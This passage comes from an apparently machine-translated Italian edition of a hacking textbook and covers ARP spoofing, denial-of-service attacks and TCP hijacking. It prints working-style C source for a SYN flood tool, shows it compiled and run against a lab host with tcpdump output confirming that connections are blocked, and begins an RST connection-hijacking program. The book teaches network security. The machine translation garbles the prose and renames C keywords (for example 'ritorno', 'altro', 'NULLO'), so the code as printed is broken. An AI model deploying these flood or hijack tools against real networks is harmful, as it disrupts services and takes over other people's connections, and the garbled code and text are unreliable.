libnet_close_link_interface () chiude un'interfaccia a pacchetto di basso livello aperta.


Restituito è 1 in caso di successo o -1 in caso di errore.

Con una conoscenza di base di C, documentazione API e buon senso,


puoi insegnare da solo esaminando progetti open source. Per esempio,
Dug Song fornisce un programma chiamato arpspoof, incluso con dsniff, che
forma l'attacco di reindirizzamento ARP.

Dalla pagina man arpspoof

NOME
arpspoof - intercetta i pacchetti su una LAN commutata

SINOSSI
arpspoof [-i interfaccia] [-t target] host

DESCRIZIONE
arpspoof reindirizza i pacchetti da un host di destinazione (o tutti gli host) sulla LAN
destinato a un altro host sulla LAN falsificando le risposte ARP. Questo è
un modo estremamente efficace per rilevare il traffico su uno switch.

Inoltro IP del kernel (o un programma userland che esegue il


stesso, ad esempio fragrouter (8)) deve essere acceso in anticipo.

OPZIONI
-i interfaccia
Specifica l'interfaccia da utilizzare.

-t bersaglio
Specifica un host particolare per il veleno ARP (se non specificato, all
host sulla LAN).

host Specifica l'host per il quale desideri intercettare i pacchetti (solitamente il file
gateway locale).

GUARDA ANCHE
dsniff (8), fragrouter (8)

AUTORE
Dug Song <dugsong@monkey.org>

La magia di questo programma deriva dalla sua funzione arp_send () , che anche
usa libnet per falsificare i pacchetti. Il codice sorgente per questa funzione dovrebbe essere letto-
in grado di te, poiché vengono utilizzate molte delle funzioni libnet spiegate in precedenza
(mostrato in grassetto sotto). Anche l'uso di strutture e un buffer di errore dovrebbe
essere familiare.

Networking 249

Pagina 264
arpspoof.c

static struct libnet_link_int * llif;


struttura statica ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;

...

int
arp_send (struct libnet_link_int * llif, char * dev,
int op, u_char * sha, in_addr_t spa, u_char * tha, in_addr_t tpa)
{
char ebuf [128];
u_char pkt [60];

if (sha == NULL &&


(sha = (u_char *) libnet_get_hwaddr (llif, dev, ebuf)) == NULL) {
ritorno (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr (llif, dev, ebuf)) == 0)
ritorno (-1);
spa = htonl (spa); / * XXX * /
}
if (tha == NULL)
tha = "\ xff \ xff \ xff \ xff \ xff \ xff";

libnet_build_ethernet (tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);

libnet_build_arp (ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,


op, sha, (u_char *) & spa, tha, (u_char *) & tpa,
NULL, 0, pkt + ETH_H);

fprintf (stderr, "% s",


ether_ntoa ((struct ether_addr *) sha));

if (op == ARPOP_REQUEST) {
fprintf (stderr, "% s 0806 42: arp who-has% s tell% s \ n",
ether_ntoa ((struct ether_addr *) tha),
libnet_host_lookup (tpa, 0),
libnet_host_lookup (spa, 0));
}
altro {
fprintf (stderr, "% s 0806 42: arp reply% s is-at",
ether_ntoa ((struct ether_addr *) tha),
libnet_host_lookup (spa, 0));
fprintf (stderr, "% s \ n",
ether_ntoa ((struct ether_addr *) sha));
}
return ( libnet_write_link_layer (llif, dev, pkt, sizeof (pkt)) == sizeof (pkt) );
}

250 0x400

Pagina 265

Le restanti funzioni libnet ottengono indirizzi hardware, ottengono l'indirizzo IP,


e cerca host. Queste funzioni hanno nomi descrittivi e sono spiegate
in dettaglio nella pagina man libnet.

Dalla pagina man libnet

libnet_get_hwaddr () accetta un puntatore a una struttura dell'interfaccia del livello di collegamento, a


puntatore al nome del dispositivo di rete e un buffer vuoto da utilizzare in caso di
errore. La funzione restituisce l'indirizzo MAC dell'interfaccia specificata su
successo o 0 in caso di errore (e errbuf conterrà un motivo).

libnet_get_ipaddr () accetta un puntatore a una struttura dell'interfaccia del livello di collegamento, a


puntatore al nome del dispositivo di rete e un buffer vuoto da utilizzare in caso di
errore. In caso di successo la funzione restituisce l'indirizzo IP del file specificato
interfaccia in ordine byte host o 0 in caso di errore (e errbuf conterrà un file
Motivo).

libnet_host_lookup () converte l'IPv4 (big-endian) ordinato dalla rete fornito


indirizzo nella sua controparte leggibile dall'uomo. Se use_name è 1,
libnet_host_lookup () tenterà di risolvere questo indirizzo IP e restituirà un file
hostname, altrimenti (o se la ricerca fallisce), la funzione restituisce un punto
stringa ASCII decimale.

Una volta che hai imparato a leggere il codice C, i programmi esistenti possono insegnare
tu molto con l'esempio. Le librerie di programmazione come libnet e libpcap hanno
molta documentazione che spiega tutti i dettagli che potresti non essere in grado di fare
divino dalla sola fonte. L'obiettivo qui è insegnarti come imparare
dal codice sorgente, invece di insegnare solo come usare alcune librerie. Dopo
tutto, ci sono molte altre librerie e un sacco di codice sorgente esistente che
li usa.

0x450 Denial of Service


Una delle forme più semplici di attacco alla rete è un attacco Denial of Service (DoS).
Invece di tentare di rubare informazioni, un attacco DoS impedisce semplicemente l'accesso a
un servizio o una risorsa. Esistono due forme generali di attacchi DoS: quelli che
servizi di emergenza e quelli che allagano i servizi.
Attacchi Denial of Service a cui i servizi di crash sono in realtà più simili
exploit del programma rispetto agli exploit basati sulla rete. Spesso questi attacchi dipendono
intaccare una cattiva implementazione da parte di un fornitore specifico. Un exploit di overflow del buffer
andato male di solito si limita a mandare in crash il programma di destinazione invece di dirigere il file
flusso di esecuzione allo shellcode iniettato. Se questo programma si trova su un file
server, nessun altro può accedere a quel server dopo che si è bloccato. Crashing
Gli attacchi DoS come questo sono strettamente legati a un determinato programma ea una determinata versione.
Poiché il sistema operativo gestisce lo stack di rete, questo codice si blocca
interromperà il kernel, negando il servizio all'intera macchina. Molti di
queste vulnerabilità sono state risolte da tempo nel funzionamento moderno
sistemi, ma è comunque utile pensare a come potrebbero essere queste tecniche
applicato a diverse situazioni.
Networking 251

Pagina 266

0x451 SYN Flooding


Un SYN flood tenta di esaurire gli stati nello stack TCP / IP. Poiché TCP mantiene
Connessioni "affidabili", ogni connessione deve essere tracciata da qualche parte. Il
Lo stack TCP / IP nel kernel gestisce questo, ma ha una tabella finita che può solo
traccia tante connessioni in entrata. Un'inondazione SYN utilizza lo spoofing per prendere
vantaggio di questa limitazione.
L'aggressore inonda il sistema della vittima con molti pacchetti SYN, utilizzando un file
indirizzo di origine inesistente falsificato. Poiché un pacchetto SYN viene utilizzato per avviare un file
Connessione TCP, la macchina della vittima invierà un pacchetto SYN / ACK al file
indirizzo contraffatto in risposta e attendere la risposta ACK prevista. Ogni
di queste connessioni in attesa, semiaperte, va in una coda di backlog che ha
spazio limitato. Poiché gli indirizzi di origine falsificati non esistono effettivamente, il file
Risposte ACK necessarie per rimuovere queste voci dalla coda e completare
le connessioni non arrivano mai. Invece, ogni connessione semiaperta deve durare
fuori, che richiede un tempo relativamente lungo.
Finché l'aggressore continua a inondare il sistema della vittima con falsi
Pacchetti SYN, la coda di backlog della vittima rimarrà piena, facendola quasi
impossibile per i veri pacchetti SYN di raggiungere il sistema e avviare un TCP / IP valido
collegamenti.
Usando il codice sorgente Nemesis e arpspoof come riferimento, dovresti esserlo
in grado di scrivere un programma che esegue questo attacco. Il programma di esempio di seguito
usa le funzioni libnet estratte dal codice sorgente e le funzioni socket precedenti
ously spiegato. Il codice sorgente di Nemesis utilizza la funzione libnet_get_prand ()
per ottenere numeri pseudo-casuali per vari campi IP. La funzione
è usata per seminare il randomizer. Queste funzioni sono
libnet_seed_prand ()
utilizzato in modo simile di seguito.

synflood.c

#include <libnet.h>

#define FLOOD_DELAY 5000 // Ritardo tra le iniezioni di pacchetti di 5000 ms.

/ * Restituisce un IP in notazione xxxx * /


char * print_ip (u_long * ip_addr_ptr) {
return inet_ntoa (* ((struct in_addr *) ip_addr_ptr));
}

int main (int argc, char * argv []) {


u_long dest_ip;
u_short dest_port;
u_char errbuf [LIBNET_ERRBUF_SIZE], * pacchetto;
int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

if (argc <3)
{
printf ("Utilizzo: \ n% s \ t <host di destinazione> <porta di destinazione> \ n", argv [0]);
uscita (1);
}

252 0x400

Pagina 267

dest_ip = libnet_name_resolve (argv [1], LIBNET_RESOLVE); // Il padrone di casa


dest_port = (u_short) atoi (argv [2]); // Il porto

rete = libnet_open_raw_sock (IPPROTO_RAW); // Apri l'interfaccia di rete.


if (network == -1)
libnet_error (LIBNET_ERR_FATAL, "non può aprire l'interfaccia di rete. - questo programma deve essere eseguito
come root. \ n ");
libnet_init_packet (packet_size, & packet); // Alloca la memoria per il pacchetto.
if (pacchetto == NULL)
libnet_error (LIBNET_ERR_FATAL, "impossibile inizializzare la memoria dei pacchetti. \ n");

libnet_seed_prand (); // Inizializza il generatore di numeri casuali.

printf ("SYN Flooding porta% d di% s .. \ n", dest_port, print_ip (& dest_ip));
while (1) // loop per sempre (fino a quando non viene interrotto da CTRL-C)
{
libnet_build_ip (LIBNET_TCP_H, // Dimensione del pacchetto senza l'intestazione IP.
IPTOS_LOWDELAY, // IP tos
libnet_get_prand (LIBNET_PRu16), // IP ID (randomizzato)
0, // Frag stuff
libnet_get_prand (LIBNET_PR8), // TTL (randomizzato)
IPPROTO_TCP, // Protocollo di trasporto
libnet_get_prand (LIBNET_PRu32), // IP sorgente (randomizzato)
dest_ip, // IP di destinazione
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
pacchetto); // Memoria dell'intestazione del pacchetto

libnet_build_tcp (libnet_get_prand (LIBNET_PRu16), // Porta TCP di origine (casuale)


dest_port, // Porta TCP di destinazione
libnet_get_prand (LIBNET_PRu32), // Numero di sequenza (randomizzato)
libnet_get_prand (LIBNET_PRu32), // Numero di riconoscimento (randomizzato)
TH_SYN, // Flag di controllo (solo flag SYN impostato)
libnet_get_prand (LIBNET_PRu16), // Dimensione finestra (randomizzata)
0, // Puntatore urgente
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
pacchetto + LIBNET_IP_H); // Memoria dell'intestazione del pacchetto

if (libnet_do_checksum (packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)


libnet_error (LIBNET_ERR_FATAL, "impossibile calcolare il checksum \ n");

byte_count = libnet_write_ip (network, packet, packet_size); // Inject packet.


if (byte_count <packet_size)
libnet_error (LIBNET_ERR_WARNING, "Avviso: pacchetto incompleto scritto. (% d di% d
byte) ", byte_count, packet_size);

usleep (FLOOD_DELAY); // Attendi FLOOD_DELAY millisecondi.


}

libnet_destroy_packet (& packet); // Memoria a pacchetto libera.

if (libnet_close_raw_sock (network) == -1) // Chiude l'interfaccia di rete.

Networking 253

Pagina 268

libnet_error (LIBNET_ERR_WARNING, "impossibile chiudere l'interfaccia di rete.");

return 0;
}

Questo programma utilizza una funzione print_ip () per gestire la conversione del file
tipo u_long, usato da libnet per memorizzare gli indirizzi IP, nel tipo di struttura previsto
di inet_ntoa () . Il valore non cambia: il typecasting appaga semplicemente il file
compilatore.
L'attuale versione di libnet è la versione 1.1, che non è compatibile con
libnet 1.0. Tuttavia, Nemesis e arpspoof si basano ancora sulla versione 1.0 di
libnet, quindi questa versione è inclusa nel LiveCD e questo è anche ciò che faremo
utilizzare nel nostro programma synflood. Simile alla compilazione con libpcap, durante la compilazione
ing con libnet, viene usata la flag -lnet . Tuttavia, questo non è abbastanza informazioni
mazione per il compilatore, come mostra l'output seguente.

reader @ hacking: ~ / booksrc $ gcc -o synflood synflood.c -lnet


Nel file incluso da synflood.c: 1:
/usr/include/libnet.h:87:2: #error "l'ordine dei byte non è stato specificato, tu"
synflood.c: 6: errore: errore di sintassi prima della costante di stringa
lettore @ hacking: ~ / booksrc $

Il compilatore non riesce ancora perché devono essere presenti diversi flag di definizione obbligatori
impostato per libnet. Incluso con libnet, verrà visualizzato un programma chiamato libnet-config
queste bandiere.

reader @ hacking: ~ / booksrc $ libnet-config --help


Utilizzo: libnet-config [OPZIONI]
Opzioni:
[--libs]
[--cflags]
[--defines]
reader @ hacking: ~ / booksrc $ libnet-config --defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN

Usando la sostituzione del comando della shell BASH in entrambi, queste definizioni possono
essere inserito dinamicamente nel comando di compilazione.

reader @ hacking: ~ / booksrc $ gcc $ (libnet-config --defines) -o synflood


synflood.c -lnet
lettore @ hacking: ~ / booksrc $ ./synflood
Utilizzo:
./synflood <host di destinazione> <porta di destinazione>
lettore @ hacking: ~ / booksrc $
lettore @ hacking: ~ / booksrc $ ./synflood 192.168.42.88 22
Fatale: impossibile aprire l'interfaccia di rete. - questo programma deve essere eseguito come root.
reader @ hacking: ~ / booksrc $ sudo ./synflood 192.168.42.88 22
SYN Flooding porta 22 di 192.168.42.88 ..

254 0x400

Pagina 269

Nell'esempio sopra, l'host 192.168.42.88 è una macchina Windows XP


eseguire un server openssh sulla porta 22 tramite cygwin. L'output di tcpdump di seguito
mostra i pacchetti SYN falsificati che invadono l'host da apparentemente casuali
IP. Mentre il programma è in esecuzione, non è possibile stabilire connessioni legittime
a questo porto.

reader @ hacking: ~ / booksrc $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"


tcpdump: output dettagliato soppresso, utilizzare -v o -vv per la decodifica completa del protocollo
in ascolto su eth0, tipo di collegamento EN10MB (Ethernet), dimensione di acquisizione 96 byte
17: 08: 16.334498 IP 121.213.150.59.4584> 192.168.42.88.22: S
751659999: 751659999 (0) vinci 14609
17: 08: 16.346907 IP 158.78.184.110.40565> 192.168.42.88.22: S
139725579: 139725579 (0) vinci 64357
17: 08: 16.358491 IP 53.245.19.50.36638> 192.168.42.88.22: S
322318966: 322318966 (0) vinci 43747
17: 08: 16.370492 IP 91.109.238.11.4814> 192.168.42.88.22: S
685911671: 685911671 (0) vinci 62957
17: 08: 16.382492 IP 52.132.214.97.45099> 192.168.42.88.22: S
71363071: 71363071 (0) vinci 30490
17: 08: 16.394909 IP 120.112.199.34.19452> 192.168.42.88.22: S
1420507902: 1420507902 (0) win 53397
17: 08: 16.406491 IP 60.9.221.120.21573> 192.168.42.88.22: S
2144342837: 2144342837 (0) vinci 10594
17: 08: 16.418494 IP 137.101.201.0.54665> 192.168.42.88.22: S
1185734766: 1185734766 (0) vinci 57243
17: 08: 16.430497 IP 188.5.248.61.8409> 192.168.42.88.22: S
1825734966: 1825734966 (0) vinci 43454
17: 08: 16.442911 IP 44.71.67.65.60484> 192.168.42.88.22: S
1042470133: 1042470133 (0) vinci 7087
17: 08: 16.454489 IP 218.66.249.126.27982> 192.168.42.88.22: S
1767717206: 1767717206 (0) vinci 50156
17: 08: 16.466493 IP 131.238.172.7.15390> 192.168.42.88.22: S
2127701542: 2127701542 (0) vinci 23682
17: 08: 16.478497 IP 130.246.104.88.48221> 192.168.42.88.22: S
2069757602: 2069757602 (0) vinci 4767
17: 08: 16.490908 IP 140.187.48.68.9179> 192.168.42.88.22: S
1429854465: 1429854465 (0) vinci 2092
17: 08: 16.502498 IP 33.172.101.123.44358> 192.168.42.88.22: S
1524034954: 1524034954 (0) vinci 26970
15 pacchetti catturati
30 pacchetti ricevuti dal filtro
0 pacchetti ignorati dal kernel
lettore @ hacking: ~ / booksrc $ ssh -v 192.168.42.88
OpenSSH_4.3p2, OpenSSL 0.9.8c 5 settembre 2006
debug1: lettura dei dati di configurazione / etc / ssh / ssh_config
debug1: connessione alla porta 22 192.168.42.88 [192.168.42.88].
debug1: connettersi all'indirizzo 192.168.42.88 porta 22: connessione rifiutata
ssh: connettersi all'host 192.168.42.88 porta 22: connessione rifiutata
lettore @ hacking: ~ / booksrc $

Alcuni sistemi operativi (ad esempio Linux) utilizzano una tecnica chiamata
syncookies per cercare di prevenire attacchi SYN flood. Lo stack TCP utilizzando i syncookies
regola il numero di riconoscimento iniziale per il SYN / ACK che risponde
pacchetto utilizzando un valore basato sui dettagli dell'host e sul tempo (per evitare attacchi di replay).

Networking 255

Pagina 270

Le connessioni TCP non diventano effettivamente attive fino al pacchetto ACK finale
per l'handshake TCP è controllato. Se il numero di sequenza non corrisponde
o l'ACK non arriva mai, non viene mai creata una connessione. Questo aiuta a prevenire
tentativi di connessione falsificati, poiché il pacchetto ACK richiede informazioni
essere inviato all'indirizzo sorgente del pacchetto SYN iniziale.

0x452 Il suono della morte


Secondo la specifica per ICMP, i messaggi di eco ICMP possono avere solo
2 16 , o 65.536, byte di dati nella parte dati del pacchetto. La parte dei dati
dei pacchetti ICMP è comunemente trascurato, poiché le informazioni importanti lo sono
nell'intestazione. Diversi sistemi operativi si bloccavano se venivano inviati eco ICMP
messaggi che hanno superato la dimensione specificata. Un messaggio di eco ICMP di questo gar-
la dimensione del gantuan divenne affettuosamente nota come "The Ping of Death". Era una
hack molto semplice sfruttando una vulnerabilità che esisteva perché nessuno mai
considerato questa possibilità. Dovrebbe essere facile per te scrivere un programma usando
libnet che può eseguire questo attacco; tuttavia, non sarà così utile in
mondo reale. I sistemi moderni sono tutti aggiornati contro questa vulnerabilità.
Tuttavia, la storia tende a ripetersi. Anche se ICMP sovradimensionato
i pacchetti non manderanno più in crash i computer, a volte le nuove tecnologie
soffre di problemi simili. Il protocollo Bluetooth, comunemente usato con
telefoni, ha un pacchetto ping simile sul livello L2CAP, che è anche usato per
misurare il tempo di comunicazione sui collegamenti stabiliti. Molte implementazioni
di Bluetooth soffre dello stesso problema di pacchetti ping sovradimensionati. Adamo
Laurie, Marcel Holtmann e Martin Herfurt hanno soprannominato questo attacco
Bluesmack e hanno rilasciato il codice sorgente con lo stesso nome che esegue
questo attacco.

0x453 Teardrop
È stato chiamato un altro attacco DoS che si è verificato per lo stesso motivo
lacrima. Teardrop ha sfruttato un'altra debolezza nelle implementazioni di diversi fornitori-
tazioni di riassemblaggio della frammentazione IP. Di solito, quando un pacchetto è frammentato,
gli offset memorizzati nell'intestazione si allineeranno per ricostruire il pacchetto originale
senza sovrapposizione. L'attacco a goccia ha inviato frammenti di pacchetti con sovrapposizione
offset, che hanno causato implementazioni che non hanno verificato questa irregolarità
condizione per schiantarsi inevitabilmente.
Sebbene questo attacco specifico non funzioni più, la comprensione del file
il concetto può rivelare problemi in altre aree. Sebbene non sia limitato a una negazione
of Service, un recente exploit remoto nel kernel OpenBSD (che vanta
stesso sulla sicurezza) aveva a che fare con pacchetti IPv6 frammentati. IP versione 6 utilizza
intestazioni più complicate e persino un formato di indirizzo IP diverso dal
IPv4 la maggior parte delle persone conosce. Spesso, gli stessi errori commessi nel file
il passato viene ripetuto dalle prime implementazioni di nuovi prodotti.

256 0x400

Pagina 271

0x454 Ping Flooding


Gli attacchi DoS inondanti non tentano necessariamente di mandare in crash un servizio o una risorsa, ma
prova invece a sovraccaricarlo in modo che non possa rispondere. Attacchi simili possono legarne altri
risorse, come cicli della CPU e processi di sistema, ma un attacco inondante
cerca specificamente di legare una risorsa di rete.
La forma più semplice di allagamento è solo un ping flood. L'obiettivo è esaurire
la larghezza di banda della vittima in modo che il traffico legittimo non possa passare. L'attaccante
invia molti pacchetti ping di grandi dimensioni alla vittima, che consumano la larghezza di banda
della connessione di rete della vittima.
Non c'è niente di veramente intelligente in questo attacco, è solo una battaglia di band
larghezza. Un utente malintenzionato con una larghezza di banda maggiore di una vittima può inviare più dati
di quanto la vittima possa ricevere e quindi negare altro traffico legittimo da
arrivare alla vittima.

0x455 Attacchi di amplificazione


In realtà ci sono alcuni modi intelligenti per eseguire un ping flood senza utilizzare
enormi quantità di larghezza di banda. Un attacco di amplificazione utilizza lo spoofing e
indirizzamento broadcast per amplificare un singolo flusso di pacchetti di cento volte.
Innanzitutto, è necessario trovare un sistema di amplificazione target. Questa è una rete che
consente la comunicazione con l'indirizzo di trasmissione e ha un valore relativamente alto
numero di host attivi. Quindi l'aggressore invia una richiesta di eco ICMP di grandi dimensioni
pacchetti all'indirizzo di trasmissione della rete di amplificazione, con uno spoofing
indirizzo di origine del sistema della vittima. L'amplificatore trasmetterà questi pacchetti
a tutti gli host della rete di amplificazione, che invieranno poi la corrispondenza
ingaggio di pacchetti di risposta echo ICMP all'indirizzo di origine falsificato (cioè, al file
macchina).
Questa amplificazione del traffico consente all'attaccante di inviare un file relativamente piccolo
flusso di pacchetti di richieste echo ICMP in uscita, mentre la vittima viene sommersa da
fino a un paio di centinaia di volte più pacchetti di risposta echo ICMP. Questo attacco
può essere fatto sia con i pacchetti ICMP che con i pacchetti echo UDP. Queste tecniche
sono conosciuti rispettivamente come smurf e fraggle attack.

Pacchetto spoofed da
Rete di amplificazione
indirizzo della vittima inviato al
indirizzo di trasmissione del
UN B C D E rete di amplificazione
Attaccante

F G H io J

Tutti gli host rispondono


allo spoofing
indirizzo di partenza

Vittima

Networking 257

Pagina 272

0x456 Flooding DoS distribuito


Un attacco DoS distribuito (DDoS) è una versione distribuita di un DoS inondante
attacco. Poiché il consumo di larghezza di banda è l'obiettivo di un attacco DoS inondante,
maggiore è la larghezza di banda con cui l'attaccante è in grado di lavorare, maggiore è il danno
può fare. In un attacco DDoS, l'autore dell'attacco ne compromette prima una serie di altri
ospita e installa i demoni su di essi. I sistemi installati con tale software sono
comunemente denominati bot e costituiscono ciò che è noto come botnet. Questi
i bot attendono pazientemente finché l'aggressore non sceglie una vittima e decide di attaccare. Il
l'aggressore utilizza una sorta di programma di controllo e tutti i bot contemporaneamente
attaccare la vittima con una qualche forma di attacco DoS inondante. Non solo
il gran numero di host distribuiti moltiplica l'effetto dell'inondazione
Ciò rende anche molto più difficile la traccia della fonte di attacco.

0x460 dirottamento TCP / IP

Il dirottamento TCP / IP è una tecnica intelligente che utilizza pacchetti contraffatti per rilevare un file
connessione tra una vittima e una macchina host. Questa tecnica è un'eccezione-
alleato utile quando la vittima utilizza una password monouso per connettersi all'host
macchina. È possibile utilizzare una password monouso per eseguire l'autenticazione una sola volta,
il che significa che lo sniffing dell'autenticazione è inutile per l'attaccante.
Per eseguire un attacco dirottamento TCP / IP, l'attaccante deve essere sullo stesso
rete come vittima. Annusando il segmento di rete locale, tutti i dettagli
delle connessioni TCP aperte possono essere estratte dalle intestazioni. Come abbiamo visto,
ogni pacchetto TCP contiene un numero di sequenza nella sua intestazione. Questa sequenza
numero viene incrementato con ogni pacchetto inviato per garantire che i pacchetti siano
ricevuto nell'ordine corretto. Durante lo sniffing, l'aggressore ha accesso al file
numeri di sequenza per una connessione tra una vittima (sistema A nel seguito-
illustrazione) e una macchina host (sistema B). Quindi l'attaccante invia un file
pacchetto contraffatto dall'indirizzo IP della vittima al computer host, utilizzando l'estensione
numero di sequenza annusato per fornire il numero di riconoscimento corretto,
come mostrato qui.

src: 192.168.0.100
dst: 192.168.0.200
seq #: 1429775000
ack #: 1250510000

Sistema A len: 2 4 Sistema B

192.168.0.100 192.168.0.200
src: 192.168.0.200
dst: 192.168.0.100
seq #: 1250510000
ack #: 1429775024
len: 167 src: 192.168.0.100
dst: 192.168.0.200
seq #: 1429775024
ack #: 1250510167
len: 71
Attaccante
sistema

258 0x400
Pagina 273

La macchina host riceverà il pacchetto contraffatto con il file


numero di riconoscimento e non avranno motivo di credere che non sia arrivato
dalla macchina della vittima.

0x461 dirottamento RST


Una forma molto semplice di dirottamento TCP / IP comporta l'iniezione di un aspetto autentico
pacchetto di ripristino (RST). Se la fonte è falsificata e il numero di riconoscimento
è corretto, il lato ricevente crederà che la sorgente abbia effettivamente inviato il ripristino
pacchetto e la connessione verrà ripristinata.
Immagina un programma per eseguire questo attacco su un IP di destinazione. Ad alto livello,
snifferebbe usando libpcap, quindi inietterà pacchetti RST usando libnet. Come un
il programma non ha bisogno di guardare ogni pacchetto ma solo il TCP stabilito
connessioni all'IP di destinazione. Anche molti altri programmi che usano libpcap non lo fanno
bisogno di guardare ogni singolo pacchetto, quindi libpcap fornisce un modo per dirlo al kernel
per inviare solo determinati pacchetti che corrispondono a un filtro. Questo filtro, noto come Berkeley
Packet Filter (BPF), è molto simile a un programma. Ad esempio, la regola del filtro
per filtrare per un IP di destinazione di 192.168.42.88 è "dst host 192.168.42.88" . Piace
un programma, questa regola consiste in una parola chiave e deve essere compilata prima che sia
effettivamente inviato al kernel. Il programma tcpdump utilizza BPF per filtrare cosa
cattura; fornisce anche una modalità per scaricare il programma di filtro.

reader @ hacking: ~ / booksrc $ sudo tcpdump -d "dst host 192.168.42.88"


(000) ldh [12]
(001) jeq # 0x800 jt 2 jf 4
(002) ld [30]
(003) jeq # 0xc0a82a58 jt 8 jf 9
(004) jeq # 0x806 jt 6 jf 5
(005) jeq # 0x8035 jt 6 jf 9
(006) ld [38]
(007) jeq # 0xc0a82a58 jt 8 jf 9
(008) ret # 96
(009) ret # 0
reader @ hacking: ~ / booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"
10
40 0 0 12
21 0 2 2048
32 0 0 30
21 4 5 3232246360
21 1 0 2054
21 0 3 32821
32 0 0 38
21 0 1 3232246360
6 0 0 96
6000
lettore @ hacking: ~ / booksrc $

Dopo che la regola del filtro è stata compilata, può essere passata al kernel per il filtro-
ing. Il filtraggio per le connessioni stabilite è un po 'più complicato. Tutti
le connessioni stabilite avranno il flag ACK impostato, quindi questo è ciò che dovremmo
cercare. I flag TCP si trovano nel 13 ° ottetto dell'intestazione TCP. Il

Networking 259

Pagina 274

i flag si trovano nel seguente ordine, da sinistra a destra: URG, ACK, PSH,
RST, SYN e FIN. Ciò significa che se il flag ACK è attivato, il 13
ottetto sarebbe 00010000 in binario, che è 16 in decimale. Se sia SYN che
ACK sono attivati, il 13 ° ottetto sarebbe 00010010 in binario, che è 18
in decimale.
Per creare un filtro che corrisponda quando il flag ACK è attivato
senza preoccuparsi di nessuno degli altri bit, viene utilizzato l'operatore AND bit per bit.
ANDing 00010010 con 00010000 produrrà 00010000 , poiché il bit ACK è il
solo bit dove entrambi i bit sono 1 . Ciò significa che un filtro di tcp [13] & 16 == 16
corrisponderà ai pacchetti in cui il flag ACK è attivato, indipendentemente dal
stato dei flag rimanenti.
Questa regola di filtro può essere riscritta utilizzando valori denominati e logica invertita come
. Questo è più facile da leggere ma fornisce comunque lo stesso
tcp [tcpflags] & tcp-ack! = 0
risultato. Questa regola può essere combinata con la precedente regola IP di destinazione utilizzando
e logica; la regola completa è mostrata di seguito.

reader @ hacking: ~ / booksrc $ sudo tcpdump -nl "tcp [tcpflags] & tcp-ack! = 0 e dst host
192.168.42.88 "
tcpdump: output dettagliato soppresso, utilizzare -v o -vv per la decodifica completa del protocollo
in ascolto su eth0, tipo di collegamento EN10MB (Ethernet), dimensione di acquisizione 96 byte
10: 19: 47.567378 IP 192.168.42.72.40238> 192.168.42.88.22:. ack 2777534975 vinci 92
<nop, nop, timestamp 85838571 0>
10: 19: 47.770276 IP 192.168.42.72.40238> 192.168.42.88.22:. ack 22 win 92 <nop, nop, timestamp
85838621 29399>
10:19: 47.770322 IP 192.168.42.72.40238> 192.168.42.88.22: P 0:20 (20) ack 22 win 92
<nop, nop, timestamp 85838621 29399>
10: 19: 47.771536 IP 192.168.42.72.40238> 192.168.42.88.22: P 20: 732 (712) ack 766 win 115
<nop, nop, timestamp 85838622 29399>
10: 19: 47.918866 IP 192.168.42.72.40238> 192.168.42.88.22: P 732: 756 (24) ack 766 win 115
<nop, nop, timestamp 85838659 29402>

Una regola simile viene utilizzata nel seguente programma per filtrare i pacchetti
libpcap annusa. Quando il programma riceve un pacchetto, le informazioni di intestazione sono
utilizzato per falsificare un pacchetto RST. Questo programma verrà spiegato man mano che è elencato.

rst_hijack.c

#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
void catch_packet (u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter (pcap_t *, struct in_addr *);

struct data_pass {
int libnet_handle;
pacchetto u_char *;
};

int main (int argc, char * argv []) {


struct pcap_pkthdr cap_header;
const u_char * packet, * pkt_data;
pcap_t * pcap_handle;

260 0x400

Pagina 275

char errbuf [PCAP_ERRBUF_SIZE]; // Stesse dimensioni di LIBNET_ERRBUF_SIZE


char * dispositivo;
u_long target_ip;
int rete;
struct data_pass critical_libnet_data;

if (argc <1) {
printf ("Utilizzo:% s <IP di destinazione> \ n", argv [0]);
uscita (0);
}
target_ip = libnet_name_resolve (argv [1], LIBNET_RESOLVE);

if (target_ip == -1)
fatal ("Indirizzo di destinazione non valido");

dispositivo = pcap_lookupdev (errbuf);


if (dispositivo == NULL)
fatale (errbuf);

pcap_handle = pcap_open_live (dispositivo, 128, 1, 0, errbuf);


if (pcap_handle == NULL)
fatale (errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock (IPPROTO_RAW);


if (critical_libnet_data.libnet_handle == -1)
libnet_error (LIBNET_ERR_FATAL, "non può aprire l'interfaccia di rete. - questo programma deve essere eseguito
come root. \ n ");

libnet_init_packet (LIBNET_IP_H + LIBNET_TCP_H, & (critical_libnet_data.packet));


if (critical_libnet_data.packet == NULL)
libnet_error (LIBNET_ERR_FATAL, "impossibile inizializzare la memoria dei pacchetti. \ n");

libnet_seed_prand ();

set_packet_filter (pcap_handle, (struct in_addr *) & target_ip);

printf ("Reimpostare tutte le connessioni TCP a% s su% s \ n", argv [1], dispositivo);
pcap_loop (pcap_handle, -1, catch_packet, (u_char *) & critical_libnet_data);

pcap_close (pcap_handle);
}

La maggior parte di questo programma dovrebbe avere senso per te. All'inizio,
viene definita una struttura data_pass , che viene utilizzata per passare i dati attraverso libpcap
richiama. libnet è usato per aprire un'interfaccia raw socket e per allocare pacchetti
memoria. Il descrittore di file per il socket raw e un puntatore al pacchetto
sarà necessaria la memoria nella funzione di callback, quindi questi dati critici di libnet lo sono
immagazzinato nella propria struttura. L'ultimo argomento della chiamata pcap_loop () è user
puntatore, che viene passato direttamente alla funzione di callback. Passando un puntatore
alla struttura critical_libnet_data , la funzione di callback avrà accesso a
tutto in questa struttura. Inoltre, il valore della lunghezza dello snap utilizzato in pcap_open_live ()
è stata ridotta da 4096 a 128 , poiché le informazioni necessarie dal
il pacchetto è solo nelle intestazioni.

Networking 261

Pagina 276

